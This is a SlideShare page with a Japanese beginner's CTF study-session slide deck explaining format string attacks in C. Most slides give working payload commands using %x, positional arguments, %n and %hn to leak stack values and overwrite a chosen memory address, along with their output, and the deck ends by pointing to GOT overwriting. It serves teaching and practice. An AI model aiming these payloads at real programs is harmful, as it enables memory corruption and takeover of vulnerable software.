Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.
Nächste SlideShare
Format string vunerability
Weiter
Herunterladen, um offline zu lesen und im Vollbildmodus anzuzeigen.

Teilen

Format string Attack

Herunterladen, um offline zu lesen

CTF-working@UEC 7/27

Ähnliche Bücher

Kostenlos mit einer 30-tägigen Testversion von Scribd

Alle anzeigen

Ähnliche Hörbücher

Kostenlos mit einer 30-tägigen Testversion von Scribd

Alle anzeigen

Format string Attack

  1. 1. Format string Attack '14 7.27 CTF勉強会@UEC
  2. 2. こんにちは
  3. 3. Who am I
  4. 4. 自己紹介 ● @icchyr ● 某濃厚な大学のB2 ● CTF初心者 ● tuat_mcc
  5. 5. 人前でLTをするのは初
  6. 6. 何を話すか ● CTF初心者 – ちょうど1年くらい?
  7. 7. 何を話すか ● CTF初心者 – ちょうど1年くらい? – 去年のSECCONが初めてのCTF ● 「SQLインジェクションって何」 ● 「XSSって何」
  8. 8. Format string Attack
  9. 9. Format string Attack ● つよそう ● フォーマット文字列攻撃 – printf(“%s”, hoge); – %d, %x, %sなど
  10. 10. Format string Attack scanf(“%s”, hoge); printf(hoge);
  11. 11. Format string Attack scanf(“%s”, hoge); printf(hoge); ● 危険
  12. 12. Format string Attack scanf(“%s”, hoge); printf(hoge); ● 危険 ● 受け取った文字列をそのまま出力している
  13. 13. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x
  14. 14. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値)
  15. 15. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830
  16. 16. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830
  17. 17. Format string Attack scanf(“%s”, hoge); printf(hoge); ● ./a.out AAAA%08x – AAAAf7ff7000(適当な値) ● ./a.out $(perl -e “print 'AAAA'.',%08x'x10”) – AAAA,f7ff7000,f7dd5ab0,f7b01040,f7ff7000,0 0000001,ffffdfe8,f7ff9cd8,41414141,30252c78 ,2c783830 AAAA
  18. 18. Format string Attack ● %08xを手で打つのはめんどくさい – ./a.out $(printf “AAAA”),%08x,%08x,...
  19. 19. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x
  20. 20. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する
  21. 21. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する (実際には$をエスケープする)
  22. 22. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する ● ./a.out $(printf “AAAA”),%8$08x – AAAA,41414141
  23. 23. Format string Attack ● %08xを手で打つのはめんどくさい – %10$08x ● 10番目の引数を参照する ● ./a.out $(printf “print 'AAAA”),%8$08x – AAAA,41414141 ● /a.out $(printf “print 'AAABBBBB”),%8$08x%9$08x – AAAA,4241414142424242 ● リトルエンディアン・アドレスが続いている
  24. 24. Format string Attack ● ./a.out $(printf “xddxccxbbxaa”),%8$08x
  25. 25. Format string Attack ● ./a.out $(printf “xddxccxbbxaa”),%8$08x – 0xaabbccddのアドレスの中を見られる
  26. 26. Format string Attack ● ./a.out $(printf “xddxccxbbxaa”),%8$08x – 0xaabbccddのアドレスの中を見られる – 実際は微調整が必要(実行ファイル名の長 さ)
  27. 27. Format string Attack ● %nというフォーマット文字列がある
  28. 28. Format string Attack ● %nというフォーマット文字列がある – いままで出力したバイト数を引数に書き込 む
  29. 29. Format string Attack ● %nというフォーマット文字列がある – いままで出力したバイト数を引数に書き込 む – これを用いれば任意のアドレスの内容を書 き換えられるのでは
  30. 30. Format string Attack
  31. 31. Format string Attack ● まずは出力した文字が格納される位置を調べ る – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7f dc5dc,00001e3c,ffffd164,ffffcf0c,00000000,0000 0001,41414141,3830252c,30252c78,252c7838 ,2c783830,78383025,3830252c,30252c78,252 c7838,2c783830 val'splace 0x804a02c :0
  32. 32. Format string Attack ● まずは出力した文字が格納される位置を調べ る – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7f dc5dc,00001e3c,ffffd164,ffffcf0c,00000000,0000 0001,41414141,3830252c,30252c78,252c7838 ,2c783830,78383025,3830252c,30252c78,252 c7838,2c783830 val'splace 0x804a02c :0
  33. 33. Format string Attack ● まずは出力した文字が格納される位置を調べる – ./a.out $(perl -e “print 'AAAA'.',%08x'x20) – AAAA,ffffd313,6474e552,f7fe565d,f7e25baf,f7fdc5dc,0 0001e3c,ffffd164,ffffcf0c,00000000,00000001,414141 41,3830252c,30252c78,252c7838,2c783830,7838302 5,3830252c,30252c78,252c7838,2c783830 val'splace 0x804a02c :0 – 11番目
  34. 34. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x
  35. 35. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0
  36. 36. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n
  37. 37. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n – , ,� val'splace 0x804a02c :5 succeeded!!!
  38. 38. Format string Attack ● ./a.out $(printf “AAAA”),%11$08x – AAAA,41414141 val'splace 0x804a02c :0 ● ./a.out $(printf “x2cxa0x04x08”),%11$n – , ,� val'splace 0x804a02c :5 succeeded!!! – 書き換えに成功している – (x2cxa0x04x08,の5文字->5)
  39. 39. Format string Attack ● ./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x
  40. 40. Format string Attack ● ./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x – , ,� ffffd36c val'splace 0x804a02c :105 succeeded!!!
  41. 41. Format string Attack ● ./a.out $(printf “x2cxa0x04x08”) ,%100x%11$08x – , ,� ffffd36c val'splace 0x804a02c :105 succeeded!!! – 出力するバイト数を調節することで任意の値にで きる
  42. 42. Format string Attack ● 自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする
  43. 43. Format string Attack ● 自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする – 0x40404040-0x5バイト出力するのは現実的では ない
  44. 44. Format string Attack ● 自由な値に書き換えたい – 0x804a02cの中身を0x40404040にしたいとする – 0x40404040-0x5バイト出力するのは現実的では ない ● メモリの構造を利用する
  45. 45. Format string Attack ● 0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x
  46. 46. Format string Attack ● 0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x – - ,� val'splace 0x804a02c : 1280 succeeded!!!
  47. 47. Format string Attack ● 0x804a02dに5を書き込むとどうなるか ● ./a.out $(printf “x2dxa0x04x08”) ,%11$08x – - ,� val'splace 0x804a02c : 1280 succeeded!!! – 1280(0x0500) – 桁位置を指定することができる
  48. 48. Format string Attack ● ただし%nは8バイト書きこむので上位ビット が潰れてしまう
  49. 49. Format string Attack ● ただし%nは8バイト書きこむので上位ビット が潰れてしまう – %hn(ニブル)を使う – 2バイト分書きこむ
  50. 50. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn
  51. 51. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40
  52. 52. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn
  53. 53. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn →0x804a02c:0x4040
  54. 54. Format string Attack ● 0x804a02cの中身を0x40404040にしたいと する – ./a.out $(printf “x2cxa0x04x08”),%59x %11$hn →0x804a02c:0x40 – ./a.out $(printf “x2cxa0x04x08x2dxa0x04x08”),%55x %11$hn%64%12$hn 59-4
  55. 55. Format string Attack ● 0x804a02cの中身を0x40404040にしたいとする – ./a.out – $(printf "x2cxa0x04x08x2dxa0x04x08x2exa0x04x08x 2fxa0x04x08"),%47x%11$hn%12$hn%13$hn %14$hn – , - . / , ffffd34e� � � � val'splace 0x804a02c : 1077952576(0x40404040) succeeded!!!
  56. 56. Format string Attack ● 0x804a02cの中身を0x40404040にしたいとする – ./a.out – $(printf "x2cxa0x04x08x2dxa0x04x08x2exa0x04x08x 2fxa0x04x08"),%47x%11$hn%12$hn%13$hn %14$hn – , - . / , ffffd34e� � � � val'splace 0x804a02c : 1077952576(0x40404040) succeeded!!!
  57. 57. Format string Attack ● 0x40414243を書きこみたい場合など – 0x43,0x42,0x41,0x40の順に書き込みたい
  58. 58. Format string Attack ● 0x40414243を書きこみたい場合など – 0x43,0x42,0x41,0x40の順に書き込みたい ● %255x(0xff)出力する({現在の値}-1になる) – うまく計算する必要がある
  59. 59. Format string Attack ● 書き換え可能なアドレスを操ることができる – すごい – 実際には呼び出される関数のアドレスに任意の値 を代入して予期せぬ動作を起こさせる – GOT(global offset table)の書き換えなど
  60. 60. ありがとうございました
  • RyoOkuda2

    Mar. 31, 2020
  • HironoriKawazoe

    Mar. 27, 2017
  • yuyamsmr

    Aug. 10, 2016
  • ssuser2ba90e

    Nov. 19, 2015
  • ssuserf03dee

    Apr. 27, 2015

CTF-working@UEC 7/27

Aufrufe

Aufrufe insgesamt

3.728

Auf Slideshare

0

Aus Einbettungen

0

Anzahl der Einbettungen

64

Befehle

Downloads

15

Geteilt

0

Kommentare

0

Likes

5

×